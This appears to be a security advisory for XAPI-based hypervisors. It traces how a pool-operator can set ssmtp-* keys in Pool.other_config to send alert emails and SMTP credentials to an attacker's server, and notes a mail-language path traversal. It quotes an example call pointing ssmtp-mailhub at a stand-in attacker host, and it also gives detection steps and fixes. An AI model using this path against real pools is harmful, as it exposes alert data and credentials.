A pool-operator in XAPI-based hypervisors (XenServer, XCP-ng) can redirect all pool alert emails through an attacker-controlled SMTP server by writing ssmtp-mailhub and related ssmtp-* keys to Pool.other_config. The mail-alarm script at lines 82-88 reads all keys with the ssmtp- prefix, strips the prefix, and uses them as macro replacements in the ssmtp configuration template. This enables SMTP server redirection, credential exfiltration (if SMTP authentication is configured), and recipient manipulation via mail-destination. The mail-language key is used as a filename component with no path traversal protection.
Pool.other_config is a Map(String, String) field writable by pool-operator. The mail-alarm Python script reads multiple keys from this field to configure the SMTP alert system:
The code path:
pool-operator writes Pool.add_to_other_config(pool, "ssmtp-mailhub", "attacker.smtp.server:25")mail-alarm script is invoked on pool alert eventsmail-alarm:61-63 reads all keys via get_pool_other_config()mail-alarm:82-88 iterates over keys starting with ssmtp-:search_text = "@" + key[6:].upper() + "@" and replacement_text = other_config[key]Additional keys consumed by the alert system:
mail-destination (mail-alarm:92-94) - controls email recipientmail-sender (mail-alarm:97-99) - controls sender addressmail-language (mail-alarm:102-104) - used as os.path.join(mail_language_pack_path, mail_language), a potential path traversal vectorMissing RBAC protection. Pool.other_config has no map_keys_roles entries for ssmtp-*, mail-destination, mail-sender, or mail-language. All inherit the class default _R_POOL_OP.
Unsanitized macro substitution. The mail-alarm script at lines 82-88 performs string replacement using attacker-controlled values with no sanitization. Any ssmtp configuration directive can be overridden.
Missing write-time validation. No validation on the ssmtp-mailhub value (hostname:port format), mail-destination (email address format), or mail-language (path traversal).
Path traversal in language file loading. The mail-language value is used as a filename component in os.path.join() without sanitization, allowing potential path traversal.
ssmtp-AuthUser, ssmtp-AuthPass), those credentials are exposed to the attacker's SMTP server| Scenario | Impact | Pre-conditions | Status |
|---|---|---|---|
| SMTP server redirection | All pool alert emails route through attacker SMTP server | pool-operator, email alerting configured | Source-traced |
| Alert data exfiltration | Attacker receives host status, storage alerts, HA events | pool-operator, email alerting active | Source-traced |
| SMTP credential theft | Attacker's SMTP server receives authentication credentials | pool-operator, ssmtp auth configured | Source-traced |
| mail-language path traversal | Potential arbitrary file read via language template loading | pool-operator | Source-traced |
| BOC-1 chain | vm-admin uses BOC-1 S3 to self-grant pool-operator, then redirects SMTP | vm-admin, BOC-1 | Source-traced |
Pool.other_config for changes to ssmtp-*, mail-destination, mail-sender, and mail-language keysssmtp-mailhub points to the expected SMTP relaydisclosure/vendor-detection-guidance.mdPool.other_config for unexpected ssmtp-* and mail-* keysssmtp-mailhub matches the organization's authorized SMTP relayProtect SMTP keys via map_keys_roles. Add ssmtp-* and mail-* keys to Pool.other_config map_keys_roles at _R_POOL_ADMIN in datamodel_pool.ml.
Sanitize macro replacements. Validate ssmtp-mailhub as a hostname:port pair. Validate mail-destination as an email address. Sanitize mail-language against path traversal.
Use dedicated SMTP configuration. Move SMTP configuration out of Pool.other_config into a dedicated, access-controlled configuration mechanism.
Upstream patches exist. They are held privately pending coordinated disclosure.
Disclosure:
mail-alarm:61-104 (pool other_config read, macro replacement, mail-language), datamodel_pool.ml:1764-1773 (field definition)disclosure/advisories/ploc-security-advisory.md (PLOC-4)research/investigations/pool-other-config.mdDiscovered and reported by Jakob Wolffhechel, Moksha.